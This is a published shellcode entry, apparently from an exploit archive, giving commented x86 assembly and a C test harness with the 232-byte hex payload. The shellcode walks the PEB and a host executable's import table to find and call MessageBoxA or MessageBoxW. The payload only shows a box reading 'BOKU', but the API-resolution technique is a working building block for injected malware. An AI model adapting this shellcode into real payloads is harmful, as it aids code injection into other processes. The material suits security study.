# Shellcode Title: Dynamic MessageBoxA||W - PEB & Import Table Method (232 bytes) # Shellcode Author: Bobby Cooke # Date: March 17th, 2020 # Tested On: # Windows 10 Pro 1909 (x86): HelpPane.exe, notepad.exe, certutil.exe # Windows 10 Pro 1909 (x86_64): mmc.exe, xwizard.exe # Windows XP SP2 (x86): calc.exe, dpvsetup.exe # [!] Will only work if MessageBoxA or MessageBoxW exist in the Import Table of the Host PE ; Create new StackFrame push ebp mov ebp, esp sub esp, 0x10 ; Dynamically find the base address of the executable image from the PEB ; FS_Register > TEB > PEB > &ImageBase xor ecx, ecx mul ecx ; Clears EAX, ECX, EDX Registers mov ebx, eax ; clear EBX Register mov ebx, [fs:ebx+0x30] ; get PEB address = TEB+0x30 mov ebx, [ebx+0x8] ; get Image Base Addr = PEB+0x8 push ebx ; save &ImageBase in EBX pop eax ; copy &ImageBase to EAX ; Get the Address of the Import Table ; DOS_Header > PE_Signature > ImportTable add eax, [ebx+0x3C] ; EAX = &PE_Signature mov dl, 0x80 ; &PE_Signature+0x80 = &ImportTable_RVA add ax, dx ; EAX = &ImportTable_RVA mov edx, [eax] ; EDX = RVA ImportTable add edx, ebx ; EDX = &ImportTable add dl, 0xC ; EDX = &Name_RVA of first Imported DLL ; Create string 'USER32' mov cx, 0x3233 ; 23 : 3233 push ecx ; push "23, 0x0000" push 0x52455355 ; RESU : 52455355 mov [ebp-0x4], esp ; Find the Name RVA for user32.dll within the Import Table ; ImportTable > ImportDirectoryTable > LoopNameRVA's xor ecx, ecx ; ECX = Counter fUser32Name: push edx ; EDX = &Name_RVA of first Imported DLL xor eax, eax mov al, 0x14 ; &Name_RVA's are every 20 bytes mul cl ; Counter * 20 bytes add [esp], eax pop eax ; EAX = &Name_RVA of Nth DLL push eax mov esi, [ebp-0x4] ; ESI = &String mov edi, [eax] ; EDI = RVA Name of Nth DLL add edi, ebx ; EDI = &Name of Nth DLL push ecx ; save counter to stack xor ecx, ecx cld ; clear direction flag = Process strings from left to right mov cl, 0x6 ; ECX = String Length repe cmpsb ; compare first 6 bytes of & pop ecx ; ECX = Counter jz foundUser32Name ; If string at &Name_RVA == "USER32", then end loop pop eax ; Pickup String Addr to fix stack inc ecx ; else Counter ++ jmp short fUser32Name ; restart the loop foundUser32Name: pop eax ; EAX = &Name_RVA of user32.dll mov [ebp-0x8], eax ; [ESP-0x8] = &Name_RVA of user32.dll sub al, 0xC ; EAX = &User32_ImportNameTable_RVA mov eax, [eax] ; EAX = User32_ImportNameTable_RVA add eax, ebx ; EAX = &User32_ImportNameTable mov [ebp-0xC], eax ; [ESP-0xC] = &User32_ImportNameTable ; Create string 'MessageBoxA' mov ecx, 0x41786f6f ; Axoo : 41786f6f shr ecx, 8 push ecx ; "oxA,0x00" push 0x42656761 ; Bega : 42656761 push 0x7373654d ; sseM : 7373654d jmp Counter MessageBoxW: mov byte [esp+0xA], 0x57 ; Change A to W mov eax, [ebp-0xC] ; EAX = &User32_ImportNameTable ; Find the Name RVA for MessageBoxA within the Import Table ; ImportTable > ImportDirectoryTable > LoopNameRVA's Counter: xor ecx, ecx fNameLoop: mov esi, esp ; ESI = "MessageBoxA,0x00" xor edx, edx mov edi, [eax] ; EDI = RVA NameString cmp edi, edx ; See if we checked all imported function names je MessageBoxW add edi, ebx ; EDI = &NameString of Nth Function inc edi ; skip the first 2 bytes - Ordinal Value inc edi ; skip the first 2 bytes push ecx ; push counter value xor ecx, ecx cld ; clear direction flag = Process strings from left to right mov cl, 0xB ; ECX = String Length repe cmpsb ; compare first 11 bytes pop ecx ; ECX = Counter value jz foundName ; If string at &NameString == "MessageBox-", then end loop mov dl, 0x4 add eax, edx ; Next RVA NameString of Imported User32.dll function inc ecx ; Counter ++ jmp short fNameLoop ; restart the loop foundName: mov eax, [ebp-0x8] ; EAX = &User32_Name_RVA add al, 0x4 ; EAX = &User32_ImportAddressTable_RVA mov edi, [eax] ; EDI = User32_ImportAddressTable_RVA add edi, ebx ; EDI = &User32_ImportNameTable xor eax, eax mov al, 0x4 mul cx ; Counter * 4 = Offset MessageBoxA in Table add eax, edi ;[EAX] = &MessageBoxA mov eax, [eax] ; EAX = &MessageBoxA mov byte bl, [esp+0xA] ; DL = 'A' or 'W' ;CALL to MessageBoxA ; hOwner = NULL ; Text = "BOKU" ; Title = "BOKU" ; Style = MB_OK|MB_APPLMODAL xor ecx, ecx ; clear ecx register push ecx ; string terminator 0x00 for string "BOKU" ; MessageBoxA or MessageBoxW? cmp bl, 0x41 ; if BL = 'A', then je MsgBoxA ; push ASCII string ; String = "B-O-K-U-" push 0x2d552d4b ; -U-K : 2d552d4b push 0x2d4f2d42 ; -O-B : 2d4f2d42 mov edx, esp ; EDX = &String UnicodeStrLoop: inc edx ; 1st Char +1 mov byte [edx], ch ; Null byte after ever char in Unicode String inc edx ; Every Other Char +2 inc ecx ; LoopCounter ++ cmp cl, 0x4 ; If end of string, then je pushArgs ; Push arguments to stack for MessageBox- Call jmp short UnicodeStrLoop MsgBoxA: push 0x554b4f42 ; UKOB : 554b4f42 pushArgs: xor ecx, ecx mov ebx, esp ; EBX = &String push ecx push ebx push ebx push ecx call eax ; Call MessageBox- Function ############################################################################################################################ #include #include char code[] = \ "\x55\x89\xe5\x83\xec\x10\x31\xc9\xf7\xe1\x89\xc3\x64\x8b\x5b\x30\x8b\x5b" "\x08\x53\x58\x03\x43\x3c\xb2\x80\x66\x01\xd0\x8b\x10\x01\xda\x80\xc2\x0c" "\x66\xb9\x33\x32\x51\x68\x55\x53\x45\x52\x89\x65\xfc\x31\xc9\x52\x31\xc0" "\xb0\x14\xf6\xe1\x01\x04\x24\x58\x50\x8b\x75\xfc\x8b\x38\x01\xdf\x51\x31" "\xc9\xfc\xb1\x06\xf3\xa6\x59\x74\x04\x58\x41\xeb\xde\x58\x89\x45\xf8\x2c" "\x0c\x8b\x00\x01\xd8\x89\x45\xf4\xb9\x6f\x6f\x78\x41\xc1\xe9\x08\x51\x68" "\x61\x67\x65\x42\x68\x4d\x65\x73\x73\xeb\x08\xc6\x44\x24\x0a\x57\x8b\x45" "\xf4\x31\xc9\x89\xe6\x31\xd2\x8b\x38\x39\xd7\x74\xec\x01\xdf\x47\x47\x51" "\x31\xc9\xfc\xb1\x0b\xf3\xa6\x59\x74\x07\xb2\x04\x01\xd0\x41\xeb\xe0\x8b" "\x45\xf8\x04\x04\x8b\x38\x01\xdf\x31\xc0\xb0\x04\x66\xf7\xe1\x01\xf8\x8b" "\x00\x8a\x5c\x24\x0a\x31\xc9\x51\x80\xfb\x41\x74\x18\x68\x4b\x2d\x55\x2d" "\x68\x42\x2d\x4f\x2d\x89\xe2\x42\x88\x2a\x42\x41\x80\xf9\x04\x74\x07\xeb" "\xf4\x68\x42\x4f\x4b\x55\x31\xc9\x89\xe3\x51\x53\x53\x51\xff\xd0"; int main(int argc, char **argv) { int (*func)(); func = (int(*)()) code; (int)(*func)(); }